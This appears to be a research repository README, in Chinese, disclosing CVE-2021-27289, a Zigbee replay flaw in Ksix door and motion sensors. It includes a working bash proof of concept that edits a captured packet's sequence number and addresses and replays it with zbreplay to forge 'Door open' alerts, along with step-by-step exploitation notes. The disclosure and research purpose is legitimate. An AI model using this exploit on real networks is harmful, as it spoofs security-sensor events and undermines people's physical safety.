大家好,
我想专业人士的做法可能就是直接给这个仓库起一个清晰、描述性的名称,直截了当。但我在整理时,脑子里还闪过其他几个标题,比如:
总之,这就是故事。
当我正准备公开一个新漏洞时,我记起了多年前做过的一件事——我在毕业设计期间研究 Thread 和 Zigbee 等 IoT 协议时发现的一个 bug。当时我给 MITRE 发了一份报告,但再也没有收到回复,所以以为它被忽略了。
出于好奇,我重新登录了我用来提交的那个旧 Gmail 账号……结果让我惊讶的是,在 2023 年——三年后——我看到实际上已经分配了一个 CVE。
CVE-2021-27289,与我作为学生报告的漏洞相关联。
为什么花了这么长时间?当我第一次联系供应商时,他们说他们没有足够的人员来修复,并不断重复这个借口。我告诉 MITRE 似乎没有人对此采取任何行动,所以我猜他们一直在等待——可能是因为这个问题本身就不会得到修补。
该漏洞影响了 Ksix 制造的几款基于 Zigbee 的 IoT 设备。核心问题是 Zigbee 规范中定义、并通过帧计数器实施的回放保护机制没有正确实现。
由于设备没有正确检查帧计数器,攻击者只需将序列号增加到比设备上次看到的序列号更高的值,就可以与网络通信并伪造数据包。这使得重放捕获的消息并使其被接受为有效成为可能——实际上导致了身份验证绕过。
这个仓库包含我毕业设计期间所做的所有工作:
以下版本经测试存在漏洞。我没有测试更高版本,因此它们也可能受影响。
受影响设备中的 Zigbee 协议栈未能正确实施依赖帧计数器(Zigbee 规范中定义)的回放保护机制。该字段本应确保收到的消息是新鲜的,未被重放。
然而,在此实现中,帧计数器被忽略或未被正确验证。因此,攻击者可以捕获一个合法的 Zigbee 数据包,将其序列号增加到一个更高的值(例如 250),然后重放给网络。
由于设备仅检查序列号,它们会接受该消息为新消息——从而允许伪造通信和未经授权的操作,而无需破解任何身份验证或加密。
根据设备类型以及其集成到环境中的方式,这可能会导致用户最初用于设置网络的应用程序中出现虚假警报或虚假传感器状态(例如,检测到运动、门打开)——尽管实际上什么也没发生。在更复杂的设置中,基于伪造数据,甚至可能破坏自动化工作流或触发意外操作。
这些设备通常使用 Tuya Smart 或类似平台进行配置,当传感器被触发时(例如门打开或检测到运动),会实时通知用户。这使得以下攻击即使物理事件从未发生也特别有效。
尽管这种特定重放漏洞的直接影响有限,但更深入地理解协议——就像我在毕业设计中所探索的那样——可以揭示出那些只需最少资源就能实施的更高级攻击场景。
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 演示视频***
- [YouTube 视频 - CVE-2021-27289: Ksix Zigbee 设备重放攻击(概述 + 旧演示)]() - 即将推出。我将重新上传最初在 2020 年录制的演示,这次会添加解说,解释环境设置、攻击过程等更多细节。
---
---
---
<div id='original-blog-post'/>
## ***📝 原始博客文章***
原始博客文章于 2020 年发布,当时发表在我的个人主网站上(啊,怀旧之情 😅)。当时,我分享了一篇技术文章,以支持我向 MITRE 提交的 CVE 请求、向 Exploit-DB 提交概念验证漏洞利用代码,并发布演示视频(我现在已重新上传到另一个 YouTube 账号)。
以下是我对原文章稍作调整后的版本。
<div id='original-blog-post-researcher'/>
### ***👤 研究人员***
22 岁的 Alejandro Vázquez Vázquez,刚开始认真对待网络安全——慢慢将激情转化为职业。
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Zigbee 基础***
如果你不熟悉 Zigbee,我不指望你去通读我的毕业论文或完整的 IEEE 802.15.4 规范。我推荐以下优秀资源,帮助你扎实理解该协议:
- [Kudelski Security Research - ZigBee 安全:基础(第一部分)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee 安全:基础(第二部分)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee 安全:基础(第三部分)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee 安全 101(架构与安全问题)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [香港电脑保安事故协调中心 (HKCERT) - 设备(ZigBee)安全研究](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 背景与动机***
在我毕业设计项目中,我选择了一个在我大学里不太常见的主题:我没有开发应用程序,而是专注于研究和分析通信协议。我选择这条路,是因为它让我能够探索当时我认为的 IoT 设备安全中的关键领域。
我的工作集中在 Zigbee 和 Thread 协议,以及它们的基础:IEEE 802.15.4。在研读了足够的技术文档和学术研究后,我开始对真实设备进行实际测试,旨在重现并分析该领域中已知的漏洞。
<div id='original-blog-post-early-experiments'/>
### ***🔍 早期实验***
我的测试从一款 Zigbee 运动传感器开始。我想看看设备如何响应伪造的控制消息——具体来说,是一个网络重对齐帧,该帧通常用于重置 Zigbee 配置参数。我向网络中注入了一个这样的帧,模拟重新配置——成功了。传感器在用于设置网络的移动应用中仍然显示为“已连接”,但实际上它已失去与协调器的通信,必须手动重置。这表明该设备在未经过强验证的情况下接受了某些数据包。
受到此结果的鼓舞,我转而进行重放攻击。使用嗅探器,我从门磁传感器捕获了标准的 Zigbee 消息(例如“门开”和“门关”)。在重置 Zigbee 网络后,我重放了这些数据包,未修改任何字段。令我惊讶的是,移动应用触发了实时警报,就像门刚刚被打开或关闭一样——尽管我只是在重放之前捕获的消息。
这证实了本应防止重放攻击的保护机制在这些设备上要么未实现,要么未正常运行。
<div id='original-blog-post-discovery'/>
### ***💥 发现***
此时,我想更好地理解为什么重放旧数据包会有效。Zigbee 定义了两个关键字段来防止此类攻击:帧计数器(每次发送消息时递增)和序列号(用于检测重复数据包)。
于是我开始对两者进行实验。
首先,我捕获了大约 50 个有效数据包并重放到网络中。像之前一样,我收到了几个警报。然后我修改了帧计数器,将每个数据包中的值设置得更高,再次尝试。这次没有任何反应——没有警报。这让我怀疑某种检查被执行了,但执行得不一致。
为了深入探究,我再次重置 Zigbee 网络,这次不修改帧计数器,而是关注序列号。我重放了相同的捕获消息,但逐渐增加每个数据包的序列号,模拟正常设备的行为。
成功了。
移动应用中再次弹出警报。那时我意识到,这些设备可能只依赖序列号来判断数据包是否为新,而完全忽略了帧计数器——而后者正是专门用于防止重放攻击的字段。
这个漏洞意味着,只要我不断发送带有更新序列号的数据包,就能持续向网络中注入虚假消息——设备会将其视为合法消息。
因此,由于实现不佳——或者可能是协调器(Zigbee 网关)的处理能力有限——我只需在无线范围内,就能重放之前捕获的消息,如“门开”或“门关”。这些伪造的事件会出现在移动应用中,就像真实发生一样。
<div id='original-blog-post-exploitation'/>
### ***🧨 利用***
利用这个漏洞非常简单:
捕获一个有效的 Zigbee 帧,将序列号改为一个更高的值,然后重放。接收设备接受该消息,用户会在应用中收到实时警报,以为发生了实际活动。
在某些测试中,我甚至能够中断设备通信,导致传感器在应用中显示“在线”但变得无响应,这在物理安全场景中可能很危险。
<div id='original-blog-post-lab-setup'/>
### ***🔬 实验室设置***
测试于 2020 年进行,使用了一个小型的 Ksix 制造 Zigbee IoT 设备实验室。以下型号和固件版本在当时被确认存在漏洞:
- Zigbee 网关模块 – v1.0.3
- 网关主模块 – v1.1.2
- 门磁传感器 – v1.0.7
- PIR 运动传感器 – v1.0.12
为了实施攻击和捕获 Zigbee 流量,我使用了:
- APImote,一款用于 IEEE 802.15.4 网络的 USB 硬件嗅探器
- KillerBee 框架,用于捕获、注入和分析数据包
这套设置使我能够模拟真实世界的交互,分析流量,并在受控环境中测试拒绝服务攻击和重放攻击场景。
<div id='original-blog-post-related-research'/>
### ***📚 相关研究***
在此,我感谢所有让我的研究之路更加顺利的研究人员,我从他们的出版物中了解了这类 IoT 网络最常见攻击向量和漏洞:
- Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee. [链接](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly. Magdeburger Journal zur Sicher-heitsforschung, 12, 699–704. [链接](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023). [链接](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75. [链接](https://ieeexplore.ieee.org/document/4622738)
- M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593. [链接](https://ieeexplore.ieee.org/document/9301593)
- Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198. [链接](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)